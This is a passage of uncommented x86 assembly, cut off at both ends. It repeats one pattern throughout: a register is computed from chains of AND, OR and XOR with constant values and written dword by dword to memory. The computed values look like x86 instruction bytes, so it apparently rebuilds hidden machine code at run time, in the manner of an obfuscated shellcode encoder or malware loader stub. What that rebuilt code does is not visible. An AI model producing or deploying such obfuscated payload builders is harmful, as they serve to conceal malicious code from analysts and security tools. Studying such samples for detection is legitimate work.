mov dword [ebx], eax
add ebx, edx
or eax, 0x4403fbea
and eax, 0x466db041
or eax, 0x100004
mov dword [ebx], eax
add ebx, edx
and eax, 0x230ea131
and eax, 0x2000001
or eax, 0x81d04d8a
mov dword [ebx], eax
add ebx, edx
or eax, 0x76cfb759
and eax, 0x458901c1
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x345115fa
and eax, 0x2a991fd4
and eax, 0x100010
or eax, 0xd0458bc0
mov dword [ebx], eax
add ebx, edx
or eax, 0x57b5f026
and eax, 0xd7609180
or eax, 0x28080409
mov dword [ebx], eax
add ebx, edx
and eax, 0x37f83a2a
and eax, 0x760d2122
and eax, 0x4080000
or eax, 0x4183ffff
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ac579c
and eax, 0x448589d8
or eax, 0x20000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73c98144
or eax, 0x7ce354bc
and eax, 0xbef5cbc
or eax, 0x8010a343
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcffe196
and eax, 0xb2daaf8
and eax, 0x1000848
or eax, 0xc083d005
mov dword [ebx], eax
add ebx, edx
and eax, 0x70617c22
and eax, 0x40010800
or eax, 0x984c8101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f4d9a75
and eax, 0x97001100
or eax, 0x6868848b
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a56e82a
and eax, 0x1000800a
or eax, 0x853b7ff5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50f10510
xor eax, 0x6c754da2
and eax, 0xa9bfb744
or eax, 0x56404820
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5dc4fea7
and eax, 0x7aa12a77
and eax, 0x10041
or eax, 0x458a143c
mov dword [ebx], eax
add ebx, edx
or eax, 0x26b51acc
or eax, 0x1c61d197
and eax, 0x644513f8
or eax, 0x80002000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c19dbd5
xor eax, 0x57ed5ffc
and eax, 0x29800401
or eax, 0x544c413a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x400ba0aa
and eax, 0x3c458101
or eax, 0xc0080a08
mov dword [ebx], eax
add ebx, edx
or eax, 0x70b7cd95
xor eax, 0x6264cb51
and eax, 0x88010080
or eax, 0x100e903
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a8a64ee
and eax, 0x6000
or eax, 0xe7e99c4d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x8b79ce4
and eax, 0x8b5e60a9
or eax, 0xa19f54
mov dword [ebx], eax
add ebx, edx
and eax, 0x78cee3b6
xor eax, 0x3e0c6112
and eax, 0x14028004
or eax, 0x41213051
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ae9d2a1
and eax, 0x6ad3ff61
and eax, 0x1000
or eax, 0x8b0864ec
mov dword [ebx], eax
add ebx, edx
or eax, 0x299e8d03
and eax, 0x11af445
or eax, 0x44210000
mov dword [ebx], eax
add ebx, edx
or eax, 0x75da9252
xor eax, 0x59ead924
and eax, 0x8112c70
or eax, 0x830a5088
mov dword [ebx], eax
add ebx, edx
and eax, 0x36844e4b
and eax, 0x4848
or eax, 0x4d3ba005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e6eba90
and eax, 0x17ffaf54
and eax, 0x3110044
or eax, 0x88027c80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3786557
and eax, 0x31811
or eax, 0x5500e444
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e28effb
and eax, 0x39ab21c2
and eax, 0x10002040
or eax, 0xa8551ba4
mov dword [ebx], eax
add ebx, edx
and eax, 0x75cccc6b
xor eax, 0x51cfe83f
and eax, 0x418b205d
or eax, 0x4001d20
mov dword [ebx], eax
add ebx, edx
and eax, 0x71d58dc3
and eax, 0x10940
or eax, 0xb84432b0
mov dword [ebx], eax
add ebx, edx
or eax, 0x20924c64
and eax, 0xa97d2b3
and eax, 0x8831030
or eax, 0x4508254d
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c036685
xor eax, 0x428ec311
and eax, 0x530e0
or eax, 0xc0480300
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa7ea006
and eax, 0x40030364
or eax, 0x15880810
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f820bd5
and eax, 0x480103f0
or eax, 0x80543000
mov dword [ebx], eax
add ebx, edx
and eax, 0xebfcad6
xor eax, 0x156be7f0
and eax, 0x1c304520
or eax, 0x6080101b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1cc93974
and eax, 0x40410809
or eax, 0x90048310
mov dword [ebx], eax
add ebx, edx
and eax, 0x47c0cb09
and eax, 0x4cdfc043
and eax, 0x8001
or eax, 0x89014082
mov dword [ebx], eax
add ebx, edx
or eax, 0x5764d548
and eax, 0x4d01d041
or eax, 0x8a0004
mov dword [ebx], eax
add ebx, edx
and eax, 0x39394b59
and eax, 0x8090040
or eax, 0xf0440390
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ef0600b
xor eax, 0x7eca3379
and eax, 0x30020
or eax, 0x55880855
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c82a1a7
xor eax, 0x36c8da54
and eax, 0x40401a60
or eax, 0x8415218c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10b63ac6
and eax, 0x44830128
or eax, 0x1080855
mov dword [ebx], eax
add ebx, edx
and eax, 0x6755378e
and eax, 0x100010c
or eax, 0xc082d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5359a533
and eax, 0x10980489
or eax, 0xa9444100
mov dword [ebx], eax
add ebx, edx
or eax, 0x54bf478e
and eax, 0x468f
or eax, 0x840
mov dword [ebx], eax
add ebx, edx
and eax, 0x634ab1f4
and eax, 0
or eax, 0x81104d2b
mov dword [ebx], eax
add ebx, edx
and eax, 0x648b0a65
or eax, 0x5954700e
and eax, 0x59441021
or eax, 0xa62905d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e3211ba
and eax, 0x3940eb86
and eax, 0x18400182
or eax, 0x4158a7d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x363f1cf3
and eax, 0x220a9200
or eax, 0x85016081
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bf3b3f4
or eax, 0x1080664f
and eax, 0x12810000
or eax, 0xe0000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4922b526
xor eax, 0x790548d
and eax, 0x41ab
or eax, 0x1044
mov dword [ebx], eax
add ebx, edx
and eax, 0x26c08fd0
or eax, 0x47891ff
and eax, 0x4788088
or eax, 0x19800a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x19400a2f
and eax, 0x10400000
or eax, 0xe6a80000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ff3b3a6
xor eax, 0x4c601ae0
and eax, 0x81000004
or eax, 0xa0000a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70ed8b43
or eax, 0x51a22333
and eax, 0xc0838845
or eax, 0x4400
mov dword [ebx], eax
add ebx, edx
or eax, 0x68560991
or eax, 0x2d29524b
and eax, 0xcc458901
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x113402d1
xor eax, 0x14bc6a14
and eax, 0x81084181
or eax, 0xc0a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e0b0eb2
and eax, 0xb01a1
or eax, 0x409040
mov dword [ebx], eax
add ebx, edx
or eax, 0xeebf4c6
and eax, 0x4e18100
or eax, 0xe0100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x57ec9534
and eax, 0x83691424
or eax, 0x8004249
mov dword [ebx], eax
add ebx, edx
or eax, 0x7179a40c
and eax, 0xca011445
or eax, 0x800810
mov dword [ebx], eax
add ebx, edx
or eax, 0xbb79f3
or eax, 0x1c499b78
and eax, 0x2908
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c89053c
and eax, 0x4092000
or eax, 0xa056c281
mov dword [ebx], eax
add ebx, edx
and eax, 0x34b5d21e
and eax, 0x20010000
or eax, 0xca800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b27ebfb
and eax, 0x2970
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a367792
and eax, 0x2a207280
or eax, 0x50c08001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c10365b
and eax, 0x2800000
or eax, 0x88090000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ad8d3aa
xor eax, 0x3b87a939
and eax, 0x1890
or eax, 0x568
mov dword [ebx], eax
add ebx, edx
and eax, 0x7db57e67
and eax, 0x5ef45fd7
and eax, 0x400
or eax, 0x3bbc418b
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fae814
and eax, 0x2384000
or eax, 0x1845b045
mov dword [ebx], eax
add ebx, edx
and eax, 0x622e1896
and eax, 0x20c0000
or eax, 0x81d04d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3be27cd7
and eax, 0x8080148
or eax, 0x458100a1
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a5eb5dd
and eax, 0x485581dc
or eax, 0x80000a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x666060b1
or eax, 0x48cd1829
and eax, 0x8801ea01
or eax, 0x1000082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53c85d2a
xor eax, 0x452e0d54
and eax, 0x5838855
or eax, 0x40084000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36737a3b
and eax, 0x4040224c
or eax, 0x88050190
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4576b12e
and eax, 0x4fce620d
and eax, 0xd020000
or eax, 0x40891c75
mov dword [ebx], eax
add ebx, edx
xor eax, 0x687ea708
and eax, 0x24452b74
or eax, 0xd8080080
mov dword [ebx], eax
add ebx, edx
and eax, 0x77ec99e8
xor eax, 0x270a8d5f
and eax, 0x5140043b
or eax, 0x2cb84900
mov dword [ebx], eax
add ebx, edx
or eax, 0xe2a3039
and eax, 0x6c50091a
or eax, 0x80058200
mov dword [ebx], eax
add ebx, edx
and eax, 0x592504e0
xor eax, 0x23aa3b1
and eax, 0x8018281
or eax, 0x81004002
mov dword [ebx], eax
add ebx, edx
or eax, 0x31a5c6b7
xor eax, 0x4f4954c7
and eax, 0x44888050
or eax, 0x1036c05
mov dword [ebx], eax
add ebx, edx
or eax, 0x137a6803
or eax, 0xc08aec5
and eax, 0x4c412a90
or eax, 0xa0041128
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a25802c
and eax, 0x48010028
or eax, 0x58a0955
mov dword [ebx], eax
add ebx, edx
or eax, 0x1dd7ff04
and eax, 0x1c9833c
or eax, 0x200080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b8a9ce
and eax, 0x100800
or eax, 0x8bac4589
mov dword [ebx], eax
add ebx, edx
and eax, 0xbe9a08d
and eax, 0x2800001
or eax, 0xc003f854
mov dword [ebx], eax
add ebx, edx
or eax, 0x77fc2311
or eax, 0x616ffcd8
and eax, 0xf0558901
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d78f5c0
and eax, 0x5004481
or eax, 0xc0010a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e732c63
xor eax, 0x63090bc4
and eax, 0x242d
or eax, 0x1190
mov dword [ebx], eax
add ebx, edx
and eax, 0x14aa0367
xor eax, 0x3986697a
and eax, 0x9804009
or eax, 0x82400580
mov dword [ebx], eax
add ebx, edx
and eax, 0xa1a2e6
xor eax, 0x4f37de9d
and eax, 0x4d03d00d
or eax, 0x2040
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c490113
and eax, 0x10000
or eax, 0xf04c89c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b004779
and eax, 0x510909e9
or eax, 0x4820002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3db7e71d
and eax, 0x82f0
or eax, 0x1c20100
mov dword [ebx], eax
add ebx, edx
or eax, 0x6352a62a
xor eax, 0x726882da
and eax, 0x1b00500
or eax, 0x8a405089
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d0016bb
and eax, 0x4f8bb73e
and eax, 0x44000000
or eax, 0x13bf045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7cb066a0
and eax, 0x6746bf9a
and eax, 0x1000680
or eax, 0x808d0934
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b14fa5a
and eax, 0x175df0f4
and eax, 0x2000000
or eax, 0x89000000
mov dword [ebx], eax
add ebx, edx
and eax, 0xb34dbc9
and eax, 0x21209491
and eax, 0x1000000
or eax, 0x4c3bd04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ef5b9c8
and eax, 0xb1078c4
or eax, 0x80000400
mov dword [ebx], eax
add ebx, edx
or eax, 0x5efb9c99
xor eax, 0x291d6d9
and eax, 0x552a2004
or eax, 0x11c051
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17d96dc5
and eax, 0x419d498b
and eax, 0x980
or eax, 0x8b117464
mov dword [ebx], eax
add ebx, edx
xor eax, 0x358405dd
xor eax, 0x6ceabf27
and eax, 0x403bc404
or eax, 0x5003841
mov dword [ebx], eax
add ebx, edx
and eax, 0x7aee7976
and eax, 0x87840
or eax, 0x8b0105a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bc222de
or eax, 0x20be7949
and eax, 0x29823049
or eax, 0xc0018004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x372646ce
and eax, 0x90058001
or eax, 0x20480900
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fcdc8ef
and eax, 0x3b571572
and eax, 0x3440102
or eax, 0x80805489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6db5d934
and eax, 0x44010082
or eax, 0x11880140
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f234e17
or eax, 0xa748c59
and eax, 0x8458840
or eax, 0xb0000384
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ad0b506
and eax, 0x8801a882
or eax, 0x1004001
mov dword [ebx], eax
add ebx, edx
or eax, 0x74c79c45
and eax, 0x251d38d9
and eax, 0x5013841
or eax, 0x488a8004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23cb9524
and eax, 0x18563b58
and eax, 0x400140
or eax, 0x1818290
mov dword [ebx], eax
add ebx, edx
or eax, 0x47a879c3
and eax, 0x3c04981
or eax, 0x88100408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1add3bf5
and eax, 0x80015454
or eax, 0x6a828001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d041a6a
and eax, 0x84058801
or eax, 0x50500100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x626d97fd
and eax, 0x82280488
or eax, 0x1c44103
mov dword [ebx], eax
add ebx, edx
and eax, 0x9f2cd04
and eax, 0x1800100
or eax, 0x440900c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x73a9fb13
or eax, 0x1e9256e9
and eax, 0x7c098be8
or eax, 0x80440004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3935a6a5
and eax, 0x81002901
or eax, 0x801c082
mov dword [ebx], eax
add ebx, edx
or eax, 0x10d30d84
and eax, 0x75196b5c
and eax, 0x11016804
or eax, 0x448a9449
mov dword [ebx], eax
add ebx, edx
and eax, 0x61bb0b39
and eax, 0x1820008
or eax, 0x4083d4
mov dword [ebx], eax
add ebx, edx
or eax, 0x1696f4ff
and eax, 0x3d45589
or eax, 0x88080000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x418fd756
and eax, 0x40038045
or eax, 0x5286800
mov dword [ebx], eax
add ebx, edx
and eax, 0x12332bf5
or eax, 0x36e32867
and eax, 0x14412840
or eax, 0xc0041390
mov dword [ebx], eax
add ebx, edx
xor eax, 0x863e9e9
and eax, 0x4c021039
or eax, 0x1890144
mov dword [ebx], eax
add ebx, edx
or eax, 0x597b6f89
xor eax, 0xc9726dc
and eax, 0x404c1900
or eax, 0x840122c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2444f059
or eax, 0x1ce9768a
and eax, 0x54890919
or eax, 0x1020064
mov dword [ebx], eax
add ebx, edx
xor eax, 0x579d1f60
or eax, 0xa899391
and eax, 0x8a839c
or eax, 0x1600060
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32e89ac
and eax, 0xc40000
or eax, 0xe9385589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4727e9f3
xor eax, 0x43143ea9
and eax, 0xedcf8242
or eax, 0x12307d28
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56687537
and eax, 0x7d0c957d
and eax, 0x48018
or eax, 0x1978a0
mov dword [ebx], eax
add ebx, edx
and eax, 0xde8606b
and eax, 0x6000
or eax, 0x2a58900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39cea0dc
and eax, 0x10b0000
or eax, 0x44800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x10205772
and eax, 0x44011370
or eax, 0x8844208c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e31f6aa
and eax, 0x54
or eax, 0x4d8b0820
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1926fff8
and eax, 0x500d3388
or eax, 0x88400840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x513e1830
or eax, 0x48d8dcfb
and eax, 0x418b2578
or eax, 0x14000004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29ce6f0b
and eax, 0x54050a50
or eax, 0x1aa0580
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c0bf9d6
and eax, 0x400109d0
or eax, 0xa854320c
mov dword [ebx], eax
add ebx, edx
or eax, 0x121c6463
and eax, 0x4009117d
or eax, 0x5820000
mov dword [ebx], eax
add ebx, edx
and eax, 0x43c96deb
and eax, 0x1880140
or eax, 0x608294
mov dword [ebx], eax
add ebx, edx
xor eax, 0x542214d2
xor eax, 0x5e8010a9
and eax, 0xb400589
or eax, 0x80944000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56e3d7f9
or eax, 0x7f408c47
and eax, 0x4d339c45
or eax, 0x82008
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ae6daa0
and eax, 0xb087cc4
or eax, 0x80000010
mov dword [ebx], eax
add ebx, edx
and eax, 0x345ce236
and eax, 0x86014
or eax, 0x55338841
mov dword [ebx], eax
add ebx, edx
and eax, 0x6270e20e
and eax, 0x1c004d51
and eax, 0x4000
or eax, 0x8b093df0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3098b56a
or eax, 0x3ad81a73
and eax, 0xa881dc41
or eax, 0x40020004
mov dword [ebx], eax
add ebx, edx
and eax, 0x2daf66bd
or eax, 0x7afa5f65
and eax, 0x58410901
or eax, 0x84048000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f32a4e9
and eax, 0x81600d89
or eax, 0x804002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32fa658a
and eax, 0x82801
or eax, 0x85d4e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x63397287
or eax, 0x34594e7f
and eax, 0x604d8800
or eax, 0x80000100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21870cf9
xor eax, 0x31d6b6e6
and eax, 0x2018110b
or eax, 0xbe04480
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fd2c996
and eax, 0x1804000
or eax, 0x5409a055
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f40b7e7
and eax, 0xa0943b0
or eax, 0x8100a848
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bb0f4c1
or eax, 0xc623113
and eax, 0x2f041
or eax, 0xc0810804
mov dword [ebx], eax
add ebx, edx
and eax, 0x60b0fc9b
or eax, 0x53629f5d
and eax, 0x50408901
or eax, 0xa8050000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ed5f62
or eax, 0x2cf0850e
and eax, 0x3af8450b
or eax, 0x1000880
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4fce3cd7
or eax, 0x58150a49
and eax, 0xc07504d
or eax, 0x81088000
mov dword [ebx], eax
add ebx, edx
and eax, 0x54671d4c
and eax, 8
or eax, 0x233
mov dword [ebx], eax
add ebx, edx
or eax, 0x4925f75
and eax, 0x90550b
or eax, 0xb480080
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c4d4ade
xor eax, 0x546ed220
and eax, 0x8249000
or eax, 0x21514455
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ca82190
and eax, 0x4c6ddc9f
and eax, 0x200000
or eax, 0x3cc458b
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e365687
and eax, 0x204401
or eax, 0x451b8044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a5eca9d
and eax, 0xb040cd8
or eax, 0x801a7004
mov dword [ebx], eax
add ebx, edx
and eax, 0x60623054
and eax, 0x6726b490
and eax, 0x22000
or eax, 0x4d01c44d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d0adda9
and eax, 0x61db75e7
and eax, 0x400931a4
or eax, 0x88440a10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24a4308a
xor eax, 0x28f8025f
and eax, 0x44010861
or eax, 0x118a141c
mov dword [ebx], eax
add ebx, edx
or eax, 0x14486202
and eax, 0x37b6dc89
and eax, 0x14000800
or eax, 0xa85523f4
mov dword [ebx], eax
add ebx, edx
or eax, 0x566a84c3
and eax, 0x39f0ed
and eax, 0x21
or eax, 0x7dc0551a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1875834d
and eax, 0x40058210
or eax, 0x88400901
mov dword [ebx], eax
add ebx, edx
or eax, 0x6272dbbd
xor eax, 0x2a8f4c80
and eax, 0x40f80539
or eax, 0x3d044002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7726f87e
xor eax, 0x788f5999
and eax, 0x60458008
or eax, 0x88080b01
mov dword [ebx], eax
add ebx, edx
or eax, 0x539c3590
and eax, 0x2c8ef56f
and eax, 0x8008101
or eax, 0x81014082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x734e2e97
and eax, 0x500be804
or eax, 0x5800049
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2abc72e7
or eax, 0x2a5638ba
and eax, 0x14282b8
or eax, 0x800144
mov dword [ebx], eax
add ebx, edx
xor eax, 0xab3f58d
or eax, 0x6840b000
and eax, 0xb705401
or eax, 0x808c0188
mov dword [ebx], eax
add ebx, edx
and eax, 0xb836b38
and eax, 0x1004000
or eax, 0x443b8c45
mov dword [ebx], eax
add ebx, edx
or eax, 0x5310d95b
and eax, 0x31b5c50
or eax, 0x884420a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x66ea1b6
and eax, 0x8d09ec44
or eax, 0x800009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36630c84
and eax, 0xbbeae040
or eax, 0x44151f20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78af1717
and eax, 0x81504003
or eax, 0x8ac1588
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33830a10
and eax, 0x4dc146a9
and eax, 0x8414481
or eax, 0xf7be1814
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1376d471
or eax, 0x20186e90
and eax, 0xec018af4
or eax, 0x1044010b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1df7ea9f
or eax, 0x333b04f6
and eax, 0x81016082
or eax, 0x8008801
mov dword [ebx], eax
add ebx, edx
and eax, 0x162f249a
and eax, 0x12000
or eax, 0x8d8adc45
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d7db25c
and eax, 0xedfffe40
or eax, 0x12000120
mov dword [ebx], eax
add ebx, edx
and eax, 0x23a95e63
xor eax, 0xbf405a
and eax, 0x23140c3a
or eax, 0xdc488101
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d02db50
and eax, 0x20008910
or eax, 0x7d76ef
mov dword [ebx], eax
add ebx, edx
and eax, 0x16f9c251
xor eax, 0x6cf7d5a4
and eax, 0x28801581
or eax, 0x1330400a
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e9cffad
and eax, 0x93cb805
or eax, 0x410050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19fb8bff
xor eax, 0x37df5c8b
and eax, 0x1184501
or eax, 0x8400c6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x139958b
xor eax, 0x49211805
and eax, 0x49000000
or eax, 0xa2000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x75ad1413
xor eax, 0x67d1f65f
and eax, 0x441c607
or eax, 0x98040100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x753e8640
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b38f790
and eax, 0x6ff02ddb
and eax, 0
or eax, 0x33c4458b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72f14e8a
xor eax, 0x2b9c1dfc
and eax, 0x2211445
or eax, 0x14548800
mov dword [ebx], eax
add ebx, edx
and eax, 0xa620303
xor eax, 0x1241727d
and eax, 0x204008
or eax, 0x3c80d83
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a2e4738
and eax, 0x492a4409
or eax, 0x4119044
mov dword [ebx], eax
add ebx, edx
or eax, 0x765e4e85
and eax, 0xb0b5cc0
or eax, 0x80002000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fec5307
or eax, 0x123359a1
and eax, 0x14235845
or eax, 0x41008010
mov dword [ebx], eax
add ebx, edx
and eax, 0xc2942b3
and eax, 0x10010
or eax, 0xc8543ba8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f5cc9b9
and eax, 0x5095001
or eax, 0x4082097c
mov dword [ebx], eax
add ebx, edx
and eax, 0x452f692f
or eax, 0x1a30b9b3
and eax, 0x10081b4
or eax, 0xc00240
mov dword [ebx], eax
add ebx, edx
or eax, 0x68d43cf7
and eax, 0x9d40581
or eax, 0x82204008
mov dword [ebx], eax
add ebx, edx
and eax, 0x66f2edf0
and eax, 0x204400
or eax, 0x4d0bb04d
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e10054d
xor eax, 0x573a1060
and eax, 0x1008102c
or eax, 0xa0452bd0
mov dword [ebx], eax
add ebx, edx
and eax, 0x598cc739
and eax, 0x10080038
or eax, 0x45830845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c411458
xor eax, 0x7966cad4
and eax, 0x402e0
or eax, 0xc8512104
mov dword [ebx], eax
add ebx, edx
and eax, 0x20c0c549
and eax, 0x5d79bb49
and eax, 0x40
or eax, 0x458b3435
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ffbff8e
and eax, 0xc413bf0
or eax, 0xb0040000
mov dword [ebx], eax
add ebx, edx
and eax, 0x103944
and eax, 0x2840
or eax, 0x4d8b043c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c76d198
xor eax, 0x5d8e0cb4
and eax, 0xc412140
or eax, 0xd00c028c
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ae8fd68
or eax, 0x4d9ca433
and eax, 0x5d588509
or eax, 0xa2000880
mov dword [ebx], eax
add ebx, edx
and eax, 0x1737eb0e
and eax, 0x15008908
or eax, 0x408b76f7
mov dword [ebx], eax
add ebx, edx
or eax, 0xea35f80
and eax, 0x548189e0
or eax, 0x140000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ff10820
xor eax, 0x4865286e
and eax, 0x301a9ae
or eax, 0x88fe5651
mov dword [ebx], eax
add ebx, edx
or eax, 0x79778473
and eax, 0xe883cc45
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c982052
or eax, 0x3b7e7bfd
and eax, 0x48440901
or eax, 0x84018000
mov dword [ebx], eax
add ebx, edx
and eax, 0x74d8422a
and eax, 0x44400000
or eax, 0xbb188d8b
mov dword [ebx], eax
add ebx, edx
and eax, 0x9860deb
xor eax, 0x402573c6
and eax, 0x9217e4d
or eax, 0x841a81b2
mov dword [ebx], eax
add ebx, edx
or eax, 0x48754547
and eax, 0xcd7fff54
or eax, 0x32800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b753221
and eax, 0x558b0975
or eax, 8
mov dword [ebx], eax
add ebx, edx
and eax, 0x43e52028
xor eax, 0x6458805c
and eax, 0x1c88074
or eax, 0x220388
mov dword [ebx], eax
add ebx, edx
and eax, 0x25f23265
or eax, 0x403b0c7e
and eax, 0x1f80408
or eax, 0x8a045181
mov dword [ebx], eax
add ebx, edx
or eax, 0x61a52d
or eax, 0x36fe612f
and eax, 0x8083d005
or eax, 0x40000840
mov dword [ebx], eax
add ebx, edx
and eax, 0x3411c05f
and eax, 0x5f36fcf0
and eax, 0x8000
or eax, 0xd8450901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c17f436
or eax, 0x5a0e572a
and eax, 0x82404d0b
or eax, 0x1800080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x636dc429
and eax, 0xdca1450
and eax, 0x880000
or eax, 0x4d0101c1
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dc8959
xor eax, 0x41bd48e4
and eax, 0x4408100
or eax, 0xd0150ac0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x470ef0d4
and eax, 0x2d7b1b95
and eax, 0x1010200
or eax, 0x8800c083
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d445718
and eax, 0x4b59c2c1
and eax, 0x1004000
or eax, 0x448b9455
mov dword [ebx], eax
add ebx, edx
or eax, 0x6048072b
and eax, 0x50ae651c
and eax, 0x800114
or eax, 0x14082e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3622acce
or eax, 0x5c60d428
and eax, 0xbe04588
or eax, 0x80140001
mov dword [ebx], eax
add ebx, edx
or eax, 0x663b8966
and eax, 0x4d3bcc4d
or eax, 0x3000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c05b7c
or eax, 0x1742c6e
